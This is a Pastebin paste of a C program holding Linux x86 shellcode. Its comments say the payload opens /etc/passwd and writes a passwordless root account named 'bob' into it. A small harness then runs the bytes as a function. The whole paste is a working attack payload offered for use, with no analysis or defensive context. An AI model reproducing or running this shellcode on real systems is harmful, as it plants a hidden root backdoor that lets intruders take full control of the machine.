Advertisement
Guest User

shellcode

a guest
Apr 25th, 2013
304
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 0.71 KB | None | 0 0
  1. /* Linux x86 shellcode, to open() write() close() and */
  2. /* exit(), adds a root user no-passwd to /etc/passwd */
  3. /* By bob from dtors.net */
  4.  
  5. #include <stdio.h>
  6.  
  7. char shellcode[]=
  8.         "\x31\xc0\x31\xdb\x31\xc9\x53\x68\x73\x73\x77"
  9.         "\x64\x68\x63\x2f\x70\x61\x68\x2f\x2f\x65\x74"
  10.         "\x89\xe3\x66\xb9\x01\x04\xb0\x05\xcd\x80\x89"
  11.         "\xc3\x31\xc0\x31\xd2\x68\x6e\x2f\x73\x68\x68"
  12.         "\x2f\x2f\x62\x69\x68\x3a\x3a\x2f\x3a\x68\x3a"
  13.         "\x30\x3a\x30\x68\x62\x6f\x62\x3a\x89\xe1\xb2"
  14.         "\x14\xb0\x04\xcd\x80\x31\xc0\xb0\x06\xcd\x80"
  15.         "\x31\xc0\xb0\x01\xcd\x80";
  16.  
  17. int
  18. main()
  19. {
  20.         void (*dsr) ();
  21.         (long) dsr = &shellcode;
  22.         printf("Size: %d bytes.\n", sizeof(shellcode));
  23.         dsr();
  24. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement